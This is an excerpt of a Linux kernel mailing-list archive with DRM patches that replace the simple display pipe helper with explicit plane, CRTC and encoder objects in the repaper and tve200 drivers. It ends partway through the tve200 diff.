Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-6-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095129; l=8123;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=AAx34gAM0g1XJvks56BpyKPpL86hNGfHkaqmTZ6w6/0=;
 b=0wLxQLCaGBQoh2NRb3mNAmGNnyaRnCPadbrAOaKKC67gUQV3goDlvM9OKxsAyvDatXtean6lJ
 GxRtATgRjlEC7duzu8UWemNPnKENa4bCZTwGGNjQcIYvTf3lN+2t4jy
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=GKk41ONK c=1 sm=1 tr=0 ts=6a666412 cx=c_pps
 a=vVfyC5vLCtgYJKYeQD43oA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=EUspDBNiAAAA:8 a=pkK3EMrqy3vWcbFnmDwA:9 a=QEXdDO2ut3YA:10
 a=rl5im9kqc5Lf4LNbBjHf:22
X-Proofpoint-GUID: D-S_XfeY7o6KW0IyyQ8UUUDj1wcwGtqV
X-Proofpoint-ORIG-GUID: D-S_XfeY7o6KW0IyyQ8UUUDj1wcwGtqV
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfXwR8uau32zv0/
 om7lONlrAo0ABpDDD3TPLbQZf8e7NBkoD5SUs6TjlvjfAV/2JfNk5vs0ejnOQ51IHRbkNdNhVbP
 wc5oXRg2NAd/ooHLoRfCWFbHqJ6dEro=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX65Xm/YGIndmz
 kpL2XN1jv8idIF7p+xR8twJhSFwQbLEENSFGAoCCXr7997ZJHipO+pU5JMaxCdwtoDSLCOJdE3m
 /1h4uL5SHA+KR0/04+ls982gta3Vh0/5eAQEVOo2vNzoOjhjM13835xOKMwFwI/k3buV/bxb5lC
 6SSbjmSQlBbq/Rb462NkyWvTdkt16XmJcOz0CtnkyMT23yYg3OPqlzTSQaoi1w/vy4wOHNvCiRp
 UOJWLrtdMP2hug3PeVv0xXeXGUHzJP1yy5x10pI3hWOH5kc7aWDqV91B+y2m1VuoijuVdoy9Ua5
 lHaYmTgWS8oUHeFuFOpou5xgDhZiZQYqpvnhN5rNjLg+AHWlnjN/ZCm/rRr8voBJ3cUyN7y3QnT
 2MRWLbCGUGUTkqIX5oVZ/UEzRSmOwIhQZjLHmOIV0pjCGo7Fh4xCjutExuAKYCOxtCtmHAAEIvg
 B+EzJj2drMTecGsMGrA==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 spamscore=0 malwarescore=0 lowpriorityscore=0 adultscore=0
 clxscore=1015 bulkscore=0 suspectscore=0 priorityscore=1501 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-bad1c0/1785095187-FD86F034-AE220E36/0/0
X-purgate-type: clean
X-purgate-size: 8125

Convert repaper to explicit primary plane, CRTC and encoder objects.

Keep the shadow-plane helpers, framebuffer access handling and
no-scaling plane-state validation from the simple-KMS path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Skip damage updates unless the CRTC state exists and is active.
---
 drivers/gpu/drm/tiny/repaper.c | 138 ++++++++++++++++++++++++++++++++---------
 1 file changed, 110 insertions(+), 28 deletions(-)

diff --git a/drivers/gpu/drm/tiny/repaper.c b/drivers/gpu/drm/tiny/repaper.c
index c8270591afc7..f225e38fd404 100644
--- a/drivers/gpu/drm/tiny/repaper.c
+++ b/drivers/gpu/drm/tiny/repaper.c
@@ -22,6 +22,7 @@
 #include <linux/thermal.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_connector.h>
 #include <drm/drm_damage_helper.h>
@@ -38,7 +39,6 @@
 #include <drm/drm_rect.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 
 #define REPAPER_RID_G2_COG_ID	0x12
 
@@ -65,7 +65,9 @@ enum repaper_epd_border_byte {
 
 struct repaper_epd {
 	struct drm_device drm;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	const struct drm_display_mode *mode;
 	struct drm_connector connector;
 	struct spi_device *spi;
@@ -622,26 +624,24 @@ static void power_off(struct repaper_epd *epd)
 	gpiod_set_value_cansleep(epd->discharge, 0);
 }
 
-static enum drm_mode_status repaper_pipe_mode_valid(struct drm_simple_display_pipe *pipe,
-						    const struct drm_display_mode *mode)
+static enum drm_mode_status repaper_crtc_helper_mode_valid(struct drm_crtc *crtc,
+							   const struct drm_display_mode *mode)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 
 	return drm_crtc_helper_mode_valid_fixed(crtc, mode, epd->mode);
 }
 
-static void repaper_pipe_enable(struct drm_simple_display_pipe *pipe,
-				struct drm_crtc_state *crtc_state,
-				struct drm_plane_state *plane_state)
+static void repaper_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct repaper_epd *epd = drm_to_epd(pipe->crtc.dev);
+	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 	struct spi_device *spi = epd->spi;
 	struct device *dev = &spi->dev;
 	bool dc_ok = false;
 	int i, ret, idx;
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx))
+	if (!drm_dev_enter(crtc->dev, &idx))
 		return;
 
 	DRM_DEBUG_DRIVER("\n");
@@ -771,9 +771,10 @@ static void repaper_pipe_enable(struct drm_simple_display_pipe *pipe,
 	drm_dev_exit(idx);
 }
 
-static void repaper_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void repaper_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
-	struct repaper_epd *epd = drm_to_epd(pipe->crtc.dev);
+	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 	struct spi_device *spi = epd->spi;
 	unsigned int line;
 
@@ -827,27 +828,90 @@ static void repaper_pipe_disable(struct drm_simple_display_pipe *pipe)
 	power_off(epd);
 }
 
-static void repaper_pipe_update(struct drm_simple_display_pipe *pipe,
-				struct drm_plane_state *old_state)
+static void repaper_plane_helper_atomic_update(struct drm_plane *plane,
+					       struct drm_atomic_commit *commit)
 {
-	struct drm_plane_state *state = pipe->plane.state;
-	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(pstate);
+	struct drm_crtc_state *cstate = NULL;
 	struct drm_rect rect;
 
-	if (!pipe->crtc.state->active)
+	if (pstate->crtc)
+		cstate = drm_atomic_get_new_crtc_state(commit, pstate->crtc);
+
+	if (!cstate || !cstate->active)
 		return;
 
-	if (drm_atomic_helper_damage_merged(old_state, state, &rect))
-		repaper_fb_dirty(state->fb, shadow_plane_state->data,
+	if (drm_atomic_helper_damage_merged(old_pstate, pstate, &rect))
+		repaper_fb_dirty(pstate->fb, shadow_plane_state->data,
 				 &shadow_plane_state->fmtcnv_state);
 }
 
-static const struct drm_simple_display_pipe_funcs repaper_pipe_funcs = {
-	.mode_valid = repaper_pipe_mode_valid,
-	.enable = repaper_pipe_enable,
-	.disable = repaper_pipe_disable,
-	.update = repaper_pipe_update,
-	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
+static const struct drm_plane_funcs repaper_plane_funcs = {
+	.update_plane	= drm_atomic_helper_update_plane,
+	.disable_plane	= drm_atomic_helper_disable_plane,
+	.destroy	= drm_plane_cleanup,
+	DRM_GEM_SHADOW_PLANE_FUNCS,
+};
+
+static int repaper_plane_helper_atomic_check(struct drm_plane *plane,
+					     struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs repaper_plane_helper_funcs = {
+	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
+	.atomic_check	= repaper_plane_helper_atomic_check,
+	.atomic_update	= repaper_plane_helper_atomic_update,
+};
+
+static int repaper_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs repaper_crtc_helper_funcs = {
+	.mode_valid	= repaper_crtc_helper_mode_valid,
+	.atomic_check	= repaper_crtc_helper_atomic_check,
+	.atomic_enable	= repaper_crtc_helper_atomic_enable,
+	.atomic_disable	= repaper_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs repaper_crtc_funcs = {
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs repaper_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int repaper_connector_get_modes(struct drm_connector *connector)
@@ -1102,9 +1166,27 @@ static int repaper_probe(struct spi_device *spi)
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(drm, &epd->pipe, &repaper_pipe_funcs,
-					   repaper_formats, ARRAY_SIZE(repaper_formats),
-					   NULL, &epd->connector);
+	ret = drm_universal_plane_init(drm, &epd->plane, 0,
+				       &repaper_plane_funcs,
+				       repaper_formats, ARRAY_SIZE(repaper_formats),
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(&epd->plane, &repaper_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &epd->crtc, &epd->plane, NULL,
+					&repaper_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(&epd->crtc, &repaper_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &epd->encoder, &repaper_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	epd->encoder.possible_crtcs = drm_crtc_mask(&epd->crtc);
+
+	ret = drm_connector_attach_encoder(&epd->connector, &epd->encoder);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 20:00:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 20:00:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371274.1618918 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo51b-0004Ms-JM; Sun, 26 Jul 2026 20:00:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371274.1618918; Sun, 26 Jul 2026 20:00:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo51b-0004Ml-GU; Sun, 26 Jul 2026 20:00:39 +0000
Received: by outflank-mailman (input) for mailman id 1371274;
 Sun, 26 Jul 2026 20:00:38 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo51a-0004Mf-HN
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 20:00:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo51Z-006DgR-By
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 22:00:37 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666763-2eae-0a2a0a5409dd-0a2a4501cbc0-2
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 22:00:37 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a66641a-5984-0a2a45010019-cddcb483816a-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:35 +0200
Received: from pps.filterd (m0279873.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH7Xp61192031
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:34 GMT
Received: from mail-pj1-f70.google.com (mail-pj1-f70.google.com
 [209.85.216.70])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmjgn3yq7-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:33 +0000 (GMT)
Received: by mail-pj1-f70.google.com with SMTP id
 98e67ed59e1d1-38dbf293831so5055555a91.3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:33 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.46.24
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:31 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	RIT/YdveRXHCHmeSie5y94xV6nzoryIRKFmpSYIUXRA=; b=ZwaROpRzU254FZLM
	HzwzK+If0tvXkekx9356vkGBxZeSi+2aP3PkGnsgazA0yGr3Puia8PFG0LDlk3E6
	iBS6B31v84DNIKM8duK51OfoEX9GWarY/AQqKQ+yMqe9p/qOc8sXvlD6G+kDO3cy
	Ijo+6Q76t3fV+6PNh+jzUvrNLwbyAXokTrHgXsKP1zI7QH3td3nClwW5tKKvvyuJ
	ffjsuATkANFvm40D6mIKne63oA5+Z837G23rKEr6rOMa69adOFvPSkBBmpAj4IR/
	OmYz5WJm9byJdrx1o3Tw/Qcf3BJ0WK2qGbL97ModtAOInL2FujpfhUmiw/07V7UV
	6+yO+A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095193; x=1785699993; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=RIT/YdveRXHCHmeSie5y94xV6nzoryIRKFmpSYIUXRA=;
        b=bVAwj13d0evcd7OCaUEgqyQ5oa98NM77IuffFa+8B1fS1tCtBu2YCpnTYBE4SJis2K
         OqcNPivx9JiNFg3ecUoOBCZCLfNzQyao3vfzGJcDfreAQYujdk6inkGqkDQZ6o+1VQ6N
         xryVhHwjxW26hM+Hv+jQDYcVtEU2AT7Q844hG3w7l9fS5RkwZLQlqmO8TMiunx/46T1k
         VoSUznUFBbE5n3G6HQmlt/6elNTpU9GFTUbwT1sj3INiNtoM01tsokgvltsezHlMZqna
         2m6nzw4Jj4tmRL69G9FBPaAgr5wN5mPNx1ei3GQPo61WgEzA3DrgRNMRpVg2fDOflALK
         x4Lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095193; x=1785699993;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=RIT/YdveRXHCHmeSie5y94xV6nzoryIRKFmpSYIUXRA=;
        b=ZDfQXig/ENIdUB+CjUUapDliDPXr7BPsIuxlXoPP+/qmpHyC/0mQ3BEsBjkj+Epsh+
         YtZhN9mpNg90iRN1zrJW+mR7ffUyRo5rIgB40dYfK1hnXjSOYhDbDy6/Q1sEO/7H+Cor
         VvAwmTgfqODKRPUGA3FxPSY8qZUSOwQKvNRFyWg69B49X20G4KbNklaE3J96QG4GWgcs
         KGNVU3tiTa3bwmHIRLRl9NsoLTXl53XD0e+3jmu4sHokbf+nMdSbwi0s8rNebUizBGBD
         JEIZW9fx2IaeVE+QOCMIvqQgh5G3zZS76AcrjQYq1hCY9sv/KGsDu1ewa7CI83cCkbNO
         1Tnw==
X-Forwarded-Encrypted: i=1; AHgh+RpM4F39PWlJQi/e8dBaDR5+49WxSDS/8tf/tZFUyDX21oZWLIM3o3b4p8Vvf44vHxpzjqMGuso9jZA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxMuZYEdetlxUnsNyPpVfl9j5jWDxpJoej9MLR10Hvfci+ItZ0d
	xy2Hhd4poao+QKJg/JmBTSWjNUJv8jDNO136967FTFe619NogZAFt869kpVfMe6MxgumAt4HWEJ
	psorfPsu/1lRuQvPA6yqkB7OSpwLjyH4Gcync64m6Tq9LR4e/SFnoFlf8e8Z6hNUmNIWM8g==
X-Gm-Gg: AR+sD10j87scSAM+UqdMSccUoNa/S9VSG+WP11o0pNIi4FfMsi6UM6mzhFBHYg1n9l3
	Ed+9eUNQ3b2Qp4o2202utjEHvEHUB+QPOcCr57bw1Sr7cWQS0S8/bYMLByCnC2wDYY5YsnvBvts
	ZDL4rf/MIJV2auktMk9if2EY2q9Nk47IhR2FROVDS8dxtOrlclvBfHbq+9yi59UwaWBV1IYiEen
	7lJM4X6uHzXchA3lel3xlZkF8dPdQom6WZtc0OTQrkZy4N4ojB4oDWRfRFoHfWZXhNdJawMsZVn
	FHM3jzPlKRW744q+WIghHfzZPXOO4SXoR700sarNfaYmKKaAPjyN5S9fiqjXIGwY35B2Ycozb9D
	Z+XUOU4mS7IqlS9BoJJBu
X-Received: by 2002:a17:90b:3c8f:b0:381:20b:a9ee with SMTP id 98e67ed59e1d1-38f294ea029mr5694008a91.14.1785095192846;
        Sun, 26 Jul 2026 12:46:32 -0700 (PDT)
X-Received: by 2002:a17:90b:3c8f:b0:381:20b:a9ee with SMTP id 98e67ed59e1d1-38f294ea029mr5693998a91.14.1785095192443;
        Sun, 26 Jul 2026 12:46:32 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:20 +0800
Subject: [PATCH v3 7/8] drm/tve200: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-7-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095129; l=12903;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=NmucV5CCjzj7Nlqkd8e6k9piLvqw3AS+j5eg74TtwPQ=;
 b=2v+CnN4SAJOjYYvRfoANU7FsIYuqjDhG+R7/Z9COJbJkOsOkf3MOaQYiiFS2Yb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rt
 C7cWGFPX5lXbuGNF6Sg==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMSBTYWx0ZWRfXyE0wUJIczysL
 Cxd8qyRQWYlyDv0qegYZ/+9PfvE5bWEoNMBsqFEoYmXyPzAMmybaQOLzgWuNCmFh9SHLMh99kYC
 0xeOM/J7DXHsrYvyZgb2r0IadMk9vaY=
X-Proofpoint-ORIG-GUID: vv7qWripOKH2SEDQDUcMldtip1LGzc16
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 phishscore=0 lowpriorityscore=0 impostorscore=0 suspectscore=0
 bulkscore=0 clxscore=1015 priorityscore=1501 malwarescore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260201
X-purgate-ID: tlsNG-d62444/1785095195-1DC79757-F1EA4EEF/13/0
X-purgate-type: clean
X-purgate-size: 12905

Convert TVE200 to explicit plane, CRTC and encoder objects.

Keep generic plane-state validation before TVE200-specific mode,
alignment, pitch and format-change checks. Install the GEM framebuffer
prepare helper explicitly.

Use commit-local plane state in the CRTC enable path when programming
framebuffer format state.

Move page-flip event handling to the CRTC commit path and wire the CRTC
vblank callbacks explicitly.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local plane state in the CRTC enable path.
---
 drivers/gpu/drm/tve200/tve200_display.c | 219 ++++++++++++++++++++++----------
 drivers/gpu/drm/tve200/tve200_drm.h     |   6 +-
 drivers/gpu/drm/tve200/tve200_drv.c     |  12 +-
 3 files changed, 163 insertions(+), 74 deletions(-)

diff --git a/drivers/gpu/drm/tve200/tve200_display.c b/drivers/gpu/drm/tve200/tve200_display.c
index 26b6c65ef6fd..beb3a5a63b5d 100644
--- a/drivers/gpu/drm/tve200/tve200_display.c
+++ b/drivers/gpu/drm/tve200/tve200_display.c
@@ -15,6 +15,8 @@
 #include <linux/of_graph.h>
 #include <linux/delay.h>
 
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
@@ -52,7 +54,7 @@ irqreturn_t tve200_irq(int irq, void *data)
 		val = readl(priv->regs + TVE200_CTRL);
 		/* We have an actual start of vsync */
 		if (!(val & TVE200_VSTSTYPE_BITS)) {
-			drm_crtc_handle_vblank(&priv->pipe.crtc);
+			drm_crtc_handle_vblank(&priv->crtc);
 			/* Toggle trigger to start of active image */
 			val |= TVE200_VSTSTYPE_VAI;
 		} else {
@@ -69,13 +71,34 @@ irqreturn_t tve200_irq(int irq, void *data)
 	return IRQ_HANDLED;
 }
 
-static int tve200_display_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *pstate,
-			       struct drm_crtc_state *cstate)
+static int tve200_plane_helper_atomic_check(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (pstate->crtc) {
+		cstate = drm_atomic_get_crtc_state(commit, pstate->crtc);
+		if (IS_ERR(cstate))
+			return PTR_ERR(cstate);
+	}
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible || !cstate)
+		return 0;
+
+	mode = &cstate->mode;
 
 	/*
 	 * We support these specific resolutions and nothing else.
@@ -119,16 +142,72 @@ static int tve200_display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void tve200_display_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *cstate,
-				 struct drm_plane_state *plane_state)
+static void tve200_plane_helper_atomic_update(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct tve200_drm_dev_private *priv = plane->dev->dev_private;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_framebuffer *fb = pstate->fb;
+
+	if (!fb)
+		return;
+
+	/* For RGB, the Y component is used as base address */
+	writel(drm_fb_dma_get_gem_addr(fb, pstate, 0),
+	       priv->regs + TVE200_Y_FRAME_BASE_ADDR);
+
